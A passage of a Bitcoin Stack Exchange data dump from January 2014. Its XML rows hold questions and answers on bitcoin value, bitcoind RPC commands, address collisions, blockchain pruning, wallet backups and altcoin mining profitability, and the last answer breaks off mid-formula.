  <row Id="19987" PostTypeId="2" ParentId="19983" CreationDate="2014-01-06T21:35:37.727" Score="1" Body="&lt;p&gt;No one does. Bitcoin have their value because people want to pay for it. When you buy a bitcoin, you buy it from another person. For selling, the same holds vice-versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when you trade them through an exchange, there is always someone else paying making the inverse transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New bitcoins are generated through &lt;a href=&quot;http://www.weusecoins.com/en/mining-guide&quot; rel=&quot;nofollow&quot;&gt;mining&lt;/a&gt;. The rate at which bitcoins are mined is &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;nofollow&quot;&gt;predetermined&lt;/a&gt; and will end when 21 million bitcoins are in existence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, bitcoins are distributed by an algorithm and the value these bitcoins have is defined only by what the market will pay for them. If suddenly no one would want to buy a bitcoin from you anymore, it will be worth zero.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-06T21:35:37.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19988" PostTypeId="2" ParentId="4172" CreationDate="2014-01-06T21:36:25.087" Score="-3" Body="&lt;p&gt;No, they are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like others have mentioned, prices can increase in size, even if the total amount of Bitcoins that will be created is limited. The main problem is that there are other currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In spite what others have mentioned, the limit of 21 million Bitcoins can be eliminated. In fact there are people who support the idea already.&lt;/p&gt;&#xA;" OwnerUserId="9970" LastActivityDate="2014-01-06T21:36:25.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19989" PostTypeId="2" ParentId="19986" CreationDate="2014-01-06T21:37:57.267" Score="5" Body="&lt;p&gt;This command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sendtoaddress &amp;lt;bitcoinaddress&amp;gt; &amp;lt;amount&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;will do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the bitcoind api for more info: &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11189" LastEditorUserId="2751" LastEditDate="2017-07-04T15:17:48.180" LastActivityDate="2017-07-04T15:17:48.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19990" PostTypeId="1" CreationDate="2014-01-06T21:39:30.023" Score="1" ViewCount="342" Body="&lt;p&gt;I'm trying to send my coins from my daemon I installed in my server. Its datacoind, but I'm guessing its the same as bitcoind. Is that a correct assumption?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/2h4eex&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/2h4eex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@x:~# datacoind listaccounts&#xA;{&#xA;    &quot;&quot; : 11.43010363,&#xA;    &quot;pat&quot; : 0.00000000,&#xA;    &quot;pats&quot; : -0.45000000&#xA;}&#xA;root@x:~# datacoind sendtoaddress DJKrNvrnuuTsvuwThYfjP2Mo 7 &quot;testing this out&quot;&#xA;error: {&quot;code&quot;:-4,&quot;message&quot;:&quot;Insufficient funds&quot;}&#xA;root@x:~#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="132" LastEditDate="2014-01-07T11:03:29.123" LastActivityDate="2014-01-07T11:03:29.123" Title="Why is it insufficient funds when sending coins via datacoind when I have enough?" Tags="|datacoin|" AnswerCount="0" CommentCount="4" ClosedDate="2019-07-17T18:42:50.540" ContentLicense="CC BY-SA 3.0" />
  <row Id="19993" PostTypeId="1" AcceptedAnswerId="23223" CreationDate="2014-01-06T21:57:19.573" Score="0" ViewCount="170" Body="&lt;p&gt;I have installed bitcoin-qt, so I maintain the blockchain locally. I have a list with transaction hashes strings (i.e f5d8ee39a430901c91a5917b9f2dc19d6d1a0e9cea205b009ca73dd04470b9a6) and I want to request information about those trasactions (input/ouput public keys, value etc).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I know that I can do it with blockchain.info api, but the problem is that there is a huge amount of transactions, and the avereage time of a single transaction is 0.3 secs. (So for millions of transactions there must be days)&lt;/li&gt;&#xA;&lt;li&gt;I have also tried &lt;a href=&quot;https://github.com/gavinandresen/bitcointools&quot; rel=&quot;nofollow&quot;&gt;bitcointools&lt;/a&gt; but this project is becoming obsolete with recent versions of Bitcoin-Qt/bitcoind.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any suggestions so as to make the whole procedure more efficiently?&lt;/p&gt;&#xA;" OwnerUserId="6781" LastActivityDate="2014-03-08T03:34:45.127" Title="Request blockchain for transactions" Tags="|blockchain|bitcoin-core|blockchain.info|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19994" PostTypeId="2" ParentId="19993" CreationDate="2014-01-06T22:08:34.557" Score="0" Body="&lt;p&gt;Not sure what exactly you need to do once you have found your information as that can be a big drive in what tool you use as well. However you can use bitcoind api which is packaged with bitcoin-qt to get all infromation about a transaction using this command.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gettransaction &amp;lt;txid&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will return to you all the infromation about that transaction, I would use some other tool build on top of it such as a php api or whatever your favorite language is. Here is one that I made to interact with it via PHP &lt;a href=&quot;https://github.com/michaeljs1990/Bitcoin-PHP-API&quot; rel=&quot;nofollow&quot;&gt;https://github.com/michaeljs1990/Bitcoin-PHP-API&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More about the bitcoind API can be found at &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2014-01-06T22:08:34.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19995" PostTypeId="1" CreationDate="2014-01-06T22:14:20.300" Score="-1" ViewCount="337" Body="&lt;p&gt;If Bitcoin addresses can be generated offline, then the Bitcoin network doesn't check for duplicate addresses while generating a new one. Can't I just make a script and generate milions of Bitcoin addresses and then make a profit when someone will have one of those addresses and sends bitcoins there? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does the Bitcoin network prevent this?&lt;/p&gt;&#xA;" OwnerUserId="10988" LastEditorUserId="1405" LastEditDate="2014-01-07T07:26:11.943" LastActivityDate="2014-01-07T07:26:11.943" Title="Can't I create milions of Bitcoin addresses and wait if someone will have same one?" Tags="|address|" AnswerCount="2" CommentCount="1" ClosedDate="2014-01-07T00:37:00.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="19996" PostTypeId="2" ParentId="19995" CreationDate="2014-01-06T22:18:35.553" Score="2" Body="&lt;p&gt;While this is theoretically possible, it is &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Generating_tons_of_addresses&quot; rel=&quot;nofollow&quot;&gt;practically impossible&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Keys are 256 bit in length and are hashed in a 160 bit address.(2^160th power) Divide it by the world population and you have about 215,000,000,000,000,000,000,000,000,000,000,000,000 addresses per capita.(2.15 x 10^38&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-01-06T22:18:35.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19997" PostTypeId="2" ParentId="19973" CreationDate="2014-01-06T22:19:52.263" Score="0" Body="&lt;p&gt;Most cryptocoins require 120 confirmations (additional blocks added to the chain) before the block reward is granted. I'm not sure about &lt;a href=&quot;https://en.wikipedia.org/wiki/Litecoin&quot; rel=&quot;nofollow&quot;&gt;Litecoin&lt;/a&gt;, but if that's the case, and if you are solo mining, or if your pool doesn't take any chances, the first reward will be 120 confirmations after the first mined block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since blocks are mined about every 2.5 minutes, that's about 5 hours.&lt;/p&gt;&#xA;" OwnerUserId="3758" LastEditorUserId="1405" LastEditDate="2014-06-22T15:05:05.683" LastActivityDate="2014-06-22T15:05:05.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19998" PostTypeId="2" ParentId="19995" CreationDate="2014-01-06T22:23:41.507" Score="1" Body="&lt;p&gt;Probability prevents this from happening as the bitcoin address space is 2^160 or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1,461,501,600,000,000,000,000,000,000,000,000,000,000,000,000,000 (apx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VWwJq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is a picture to put it into perspective&lt;/a&gt;. Ok so now you are thinking well it is quick to generate them so I will just make more. Looking at this thread &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10709/how-to-pre-generate-100m-bitcoin-addresses&quot;&gt;How to pre-generate 100M bitcoin addresses?&lt;/a&gt; you can generate 770k addresses in 15 minutes so lets do the math. that is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;54,168,210,000,000,000,000,000,000,000,000,000,000 (apx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;years to generate all the bitcoin addresses. get cracking.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-01-06T22:30:51.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20000" PostTypeId="1" AcceptedAnswerId="20012" CreationDate="2014-01-06T23:01:15.233" Score="15" ViewCount="4966" Body="&lt;p&gt;I run &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot;&gt;Bitcoin-Qt&lt;/a&gt; and &lt;a href=&quot;https://bitcoinarmory.com/&quot;&gt;Bitcoin Armory&lt;/a&gt; on a laptop. I don't have the space to store the whole 20&amp;nbsp;GB (or however big it is now) blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the need to run through the entire thing for security, but I'd like it to only store relatively recent blocks + the summarized version (for example, the database of unused outputs / computed ledger). I'd like good security; I just don't have the space to store the whole thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to configure Bitcoin-Qt / bitcoind to trim its data to a more reasonable size after it's gone through and processed the chain?&lt;/p&gt;&#xA;" OwnerUserId="11867" LastEditorUserId="5406" LastEditDate="2016-08-03T06:32:59.603" LastActivityDate="2017-09-04T19:27:44.443" Title="Can Bitcoin-Qt be configured to trim the blockchain?" Tags="|blockchain|bitcoind|bitcoin-core|storage-footprint|pruning|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20001" PostTypeId="2" ParentId="19308" CreationDate="2014-01-07T00:07:02.070" Score="3" Body="&lt;p&gt;Put&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start cmd /k bfgminer -S opencl:auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in a batch file.&lt;/p&gt;&#xA;" OwnerUserId="11870" LastEditorUserId="132" LastEditDate="2014-01-07T10:44:33.283" LastActivityDate="2014-01-07T10:44:33.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20002" PostTypeId="1" AcceptedAnswerId="20016" CreationDate="2014-01-07T00:51:20.043" Score="0" ViewCount="367" Body="&lt;p&gt;I'm trying to set up a bitcoin/altcoin pool server, but I've run in to a bit of a problem, I have no way to verify I've connected to the pool succesfully, and no stats or informations on the actual pool operations. Is there some way I could find these stats in litecoin-qt or bitcoin-qt? The getinfo command seems to only return stats about the client, versus the actual pool info. I'd also like to have them generated automatically vs having to calculate myself.&lt;/p&gt;&#xA;" OwnerUserId="11872" LastEditorUserId="11872" LastEditDate="2014-01-07T02:31:21.137" LastActivityDate="2014-01-07T02:38:05.193" Title="Setting up Statistics with litecoin-qt or bitcoin-qt" Tags="|bitcoin-core|mining-pools|litecoin|altcoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20004" PostTypeId="1" AcceptedAnswerId="20011" CreationDate="2014-01-07T01:02:58.350" Score="1" ViewCount="498" Body="&lt;p&gt;I have the following situation: I have mined few coins from different alt crypto-currencies and I do not want to run them any more on my machine. As far as I understood from this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28/how-can-i-keep-my-wallet-secure&quot;&gt;question&lt;/a&gt;, I can just copy &lt;code&gt;wallet.dat&lt;/code&gt; from each of these altcoins, encrypt them, remove the clients and this is it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If then someone will send me some coins and after some time I would like to use them, I can just download the client, wait for synchronization, change &lt;code&gt;wallet.dat&lt;/code&gt; with my stored wallet and continue using coins? Am I correct?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-01-07T03:36:54.710" Title="Is it ok just to save wallet.dat from multiple altcoin clients and remove the client?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20005" PostTypeId="1" CreationDate="2014-01-07T01:19:51.850" Score="1" ViewCount="1142" Body="&lt;p&gt;I had a very simple question for which I seem unable to find an answer. I want to set up a Tor hidden service and on it allow Bitcoin transactions. How can I make this happen? The server would be running Windows IIS and is mostly for personal use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a look around at BitcoinD and Blockchain.info but somehow the information there does not resonate (or I am just too daft to grasp what they are saying)&lt;/p&gt;&#xA;" OwnerUserId="11874" LastActivityDate="2014-01-07T02:00:49.020" Title="How can I process bitcoin payments from a hidden service on Tor?" Tags="|tor|payment-processors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20007" PostTypeId="1" CreationDate="2014-01-07T01:21:31.250" Score="31" ViewCount="45116" Body="&lt;p&gt;I know and understand the concept of proof-of-stake. Instead of requiring users to do a certain amount of power-intensive hashing &quot;work&quot;, it requires you to own a certain stake of the currency in order for you to mine new coins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how does the actual mining process work? In PoW mining, people &quot;find&quot; blocks by generating a hash that fulfills a certain condition. How can one mine a PoS block? Is a miner required? Or does just anyone holding coins get their share after a certain amount of time? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Peercoin specifically, is PoW and PoS mining done independently or do they interfere or influence one another? &lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" LastEditDate="2016-03-10T14:50:50.597" LastActivityDate="2020-01-25T12:39:27.980" Title="How does proof-of-stake &quot;mining&quot; work?" Tags="|mining-theory|proof-of-work|proof-of-stake|peercoin|" AnswerCount="3" CommentCount="0" ClosedDate="2021-04-26T20:31:37.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="20009" PostTypeId="2" ParentId="17063" CreationDate="2014-01-07T01:37:04.387" Score="0" Body="&lt;p&gt;If you wish to keep with the same hardware, I suspect you'll get more money out of vanity-address mining than to mine bitcoins directly. Even then it might not be very efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vanity-address mining is like the equivalent of having a personalised number plate on your car; it involves hunting the bitcoin address space for a public address that starts with a short string (up to 8/9 characters is reasonable with some effort) someone chose, and with the right algorithm can be done securely so you never know the final private key in use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It cannot be done with ASICs at present (AFAIK), but can be done using GPUs so the relative value is higher per hash-checked; though it does a quite-different operation so the very-specific ASICs aren't built to find the addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(see &lt;a href=&quot;https://bitcointalk.org/index.php?topic=84569&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=84569&lt;/a&gt; and &lt;a href=&quot;https://vanitypool.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;https://vanitypool.appspot.com/&lt;/a&gt; for further info/a running pool of wanted addresses).&lt;/p&gt;&#xA;" OwnerUserId="10632" LastActivityDate="2014-01-07T01:37:04.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20010" PostTypeId="2" ParentId="20005" CreationDate="2014-01-07T02:00:49.020" Score="2" Body="&lt;p&gt;My suggestion: Don't use windows AT ALL. Easiest way to get hacked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also here's the answers you are looking for &lt;a href=&quot;https://en.bitcoin.it/wiki/Tor&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Tor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;specifically this line:&#xA;&quot;(after starting tor) Run bitcoind with -proxy=127.0.0.1:9050&quot;&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2014-01-07T02:00:49.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20011" PostTypeId="2" ParentId="20004" CreationDate="2014-01-07T02:04:09.193" Score="2" Body="&lt;p&gt;Yes, just make certain you do not make any more transactions with that wallet or you could lose coins going to a change address (an address that is used to send back extra coins. it is not the address you sent coins from).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also make certain that you remember your password and the most imperative part: shutdown your coin client before you copy the wallet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also id suggest you back up the wallet and then remove the wallet, and finally try to copy the wallet back over, if you see it load up and your coins are there you are golden. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;another way would be do dump the privkeys and encrypt a file with just those keys in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source: Me, I'm an altcoin pool op&lt;/p&gt;&#xA;" OwnerUserId="5651" LastEditorUserId="5651" LastEditDate="2014-01-07T03:36:54.710" LastActivityDate="2014-01-07T03:36:54.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20012" PostTypeId="2" ParentId="20000" CreationDate="2014-01-07T02:06:09.717" Score="2" Body="&lt;p&gt;This answer is now outdated please see &lt;a href=&quot;https://bitcoin.stackexchange.com/a/38847/5651&quot;&gt;Answer below&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At this time, no, you can not strip the block chain (as far as I&#xA;  know). There is one programmer (Mark Freidenbach AKA maaku) who is&#xA;  working on further compressing the blockchain for the &lt;a href=&quot;https://bitcoin.stackexchange.com/a/38847/5651&quot;&gt;Satoshi bitcoin&#xA;  clients&lt;/a&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The entire block chain is currently needed to verify all coins are&#xA;  legitimate from the beginning of time. Plus there are coins in the&#xA;  older blocks that would not be included in new blocks, so some old&#xA;  miners might lose their coins.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/38847/5651&quot;&gt;1&lt;/a&gt;: &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5651" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-02-28T14:47:38.390" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20014" PostTypeId="1" AcceptedAnswerId="20015" CreationDate="2014-01-07T02:10:45.800" Score="0" ViewCount="3043" Body="&lt;p&gt;I noted today that coingen.io makes it easy to make crypto currencies. &#xA;I was wondering if it makes sense to register currencies named after countries, gods and companies to hoard them. AFAIK there is nothing that ensures uniqueness of the names of the crypto currencies, right ? there is nothing in the block-chain that critically depends on the name of the currency.&lt;/p&gt;&#xA;" OwnerUserId="11876" LastActivityDate="2014-01-07T02:17:08.977" Title="Can two crypto currencies have the same name?" Tags="|alternatives|architecture|technical-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20015" PostTypeId="2" ParentId="20014" CreationDate="2014-01-07T02:17:08.977" Score="2" Body="&lt;p&gt;What keeps coins distinguished is primarily the protocol and secondarily the genesis block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone tries to copy bitcoin exactly using the exact same source only with a different name, all of the users will simply be part of the bitcoin blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone tries to use the same protocol but with a different genesis block then a new bitcoin ripoff has begun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone tries to use the same genesis but with a different source code, the results will depend on the protocol, but most likely it will simply be a fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the 1st generation alts use variations on the bitcoin source code and have new genesis blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A new protocol and a new genesis block are the best ways to ensure a new coin.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-01-07T02:17:08.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20016" PostTypeId="2" ParentId="20002" CreationDate="2014-01-07T02:38:05.193" Score="0" Body="&lt;p&gt;Dylan, i suggest you do a lot more reading before you attempt to run a pool. A pool is not an easy job, you need an in-depth knowledge of bitcoin/c++/python etc. It's not simply cut and paste. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfourtunately from waht i am reading you are only running a coin daemon as your pool node which won't work for a pool. check out how to install mmcfe for litecoin. that should help you out&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2014-01-07T02:38:05.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20017" PostTypeId="1" CreationDate="2014-01-07T02:41:09.463" Score="3" ViewCount="3813" Body="&lt;p&gt;It's been several days in a row that I go to &lt;a href=&quot;http://dustcoin.com/&quot; rel=&quot;nofollow&quot;&gt;dustcoin&lt;/a&gt; and see Dogecoin being listed as less profitable than either Digitalcoin and BBQcoin, with the latest being the most profitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then if I go to &lt;a href=&quot;http://www.coinwarz.com/&quot; rel=&quot;nofollow&quot;&gt;coinwarz&lt;/a&gt; I see the inverse: Dogecoin is the most profitable, next Digital and finally BBQ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prices listed for them are not that different, nor is the difficulty - below the values. E.g. the values at the time of writing this question - first columns are from coinwarz and then the values for dustcoin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;coin   vs. BTC                diff.    vs. BTC   diff.&#xA;BBQ  0.000048 (Cryptsy)      4.3986 0.00005165   3.192&#xA;DGC  0.00036494 (Cryptsy)   11.3679 0.00035000   8.062&#xA;DOGE 0.00000031 (Coins-E)  286.6240 0.00000028 271.845&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would've thought that getting the profitability would be a straight away calculation, given the hashpower at your disposal vs. the avg. reward for a coin, plus the difficulty of it's network and the value it commands on the market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I can't explain why each site gives the exact opposite answer for these coins in particular - my inner cynic suggests at least one of them gets paid to artificially increase/decrease the profitability of some coins, but I find that hard to accept as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-09-24T14:37:30.130" Title="Why do dustcoin.com and coinwarz.com give opposite results of profitability?" Tags="|mining-profitability|dogecoin|altcoin|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20018" PostTypeId="2" ParentId="19922" CreationDate="2014-01-07T02:43:45.817" Score="1" Body="&lt;p&gt;Duckx, I think you have a good idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well for one thing -- using a linux VM is &lt;strong&gt;much better for security&lt;/strong&gt;.&#xA;You are essentially using your windows machine for browsing the internet / email and your linux machine for only bitcoin banking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;All it takes is someone to compromise a bitcoin related website&lt;/strong&gt; and you could be out of your bitcoin holdings.  With your wallet.dat running in a Linux VM if someone compromises your windows machine they won't be able to &lt;strong&gt;easily&lt;/strong&gt; steal your wallet.dat and keylog your password, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you're not using the Linux VM for Bitcoin banking, you can have it turned off!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's trivial to encrypt your entire linux HD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Linux is inherently more secure&lt;/strong&gt; out of the box than Windows, and with a few tweaks, extremely secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically though, if someone compromises your Windows machine they could gain control of your vm and get to your bitcoin assets.  This type of attack though is extremely rare and would have to be personally targeted rather than some worm looking for wallet.dat files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost all major Bitcoin applications are developed on linux/osx so you will be in good shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for a performance hit... you won't even notice it.  &lt;strong&gt;Linux doesn't take much overhead to run at all.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, when you transfer the BTC to your linux machine, &lt;strong&gt;do not transfer the wallet.dat just create a new wallet on the VM&lt;/strong&gt; and send your BTC/LTC whatever via the network.  This way you don't have an unsecured copy that could be stolen.&lt;/p&gt;&#xA;" OwnerUserId="11878" LastActivityDate="2014-01-07T02:43:45.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20019" PostTypeId="2" ParentId="18841" CreationDate="2014-01-07T03:00:24.993" Score="0" Body="&lt;p&gt;Steven is 100% right.  One thing he doesn't mention is that if someone does commit a 51% attack of any magnitude, people WILL find out.  The investment required of a 51% attack would be huge and it could extremely devalue bitcoin, essentially rendering that investment useless after that point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attack would be &quot;reversed&quot; if it were serious enough, similar to the accidental fork in the blockchain in March 2013.  All transactions would be ceased (hopefully) and it would get sorted out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, there isn't much incentive to commit a 51% attack because it's reversible, and if successful it would devalue the currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a 51% attack creates an artificial fork in the blockchain, here is some explanation about the last couple times forks have happened: &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1a51xx/now_that_its_over_the_blockchain_fork_explained/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1a51xx/now_that_its_over_the_blockchain_fork_explained/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11878" LastEditorUserId="11878" LastEditDate="2014-01-07T03:38:04.760" LastActivityDate="2014-01-07T03:38:04.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20020" PostTypeId="2" ParentId="20000" CreationDate="2014-01-07T03:05:01.530" Score="0" Body="&lt;p&gt;If I recall it correctly, Ufasoft's multi-currency client stores the blockchain in a format of their own in which it gets compressed, so you might switch to it and see a small decrease in the usage of your hard-drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be warned, though, there's no way to import the block-chain from bitcoin-qt's format to Usasoft, so the latter will have to re-download all the blocks from the very beginning.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-01-07T03:05:01.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20021" PostTypeId="1" CreationDate="2014-01-07T03:44:51.523" Score="2" ViewCount="3776" Body="&lt;p&gt;I need to get difficulty data and exchange rate for past 10 days for making a graph out of it (i.e., for all coins). Can anyone suggest where can I get it?&lt;/p&gt;&#xA;" OwnerUserId="11880" LastEditorUserId="132" LastEditDate="2014-01-07T10:52:34.487" LastActivityDate="2022-05-03T09:21:32.733" Title="Where to get difficulty data for all crypto coins?" Tags="|difficulty|exchange-rate|" AnswerCount="4" CommentCount="0" ClosedDate="2022-05-03T14:52:16.470" ContentLicense="CC BY-SA 3.0" />
  <row Id="20022" PostTypeId="2" ParentId="20017" CreationDate="2014-01-07T03:45:40.827" Score="1" Body="&lt;p&gt;First off, don't listen to so called &quot;profitability&quot; calculates they are always wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here's why:&#xA;Each &quot;profitability&quot; site bases the profitability based on the current block on that network vs bitcoins current block. Well most of these coins have a limited exchange volume on exchanges (some as low as 0.001 btc) yet because of that activity they are deemed to be more valuable. What happens next is a huge dump of coins and a market crash. This leads to an increase in diff and a decrease in profitability. Using that theory, you can see that these sites are not going to be correct. Especially depending on the exchange they use and the rates they use. Most coins only convert from ALT-&gt;BTC. So that means they will take the BTC/USD price from somewhere like bitstamp and then take the ALT/BTC price from the exchange of choice and finally it will take BTC*USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;BEGIN EDIT&lt;/em&gt;&#xA;Simple formula these sites use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$profitability = $USDperBitCoin 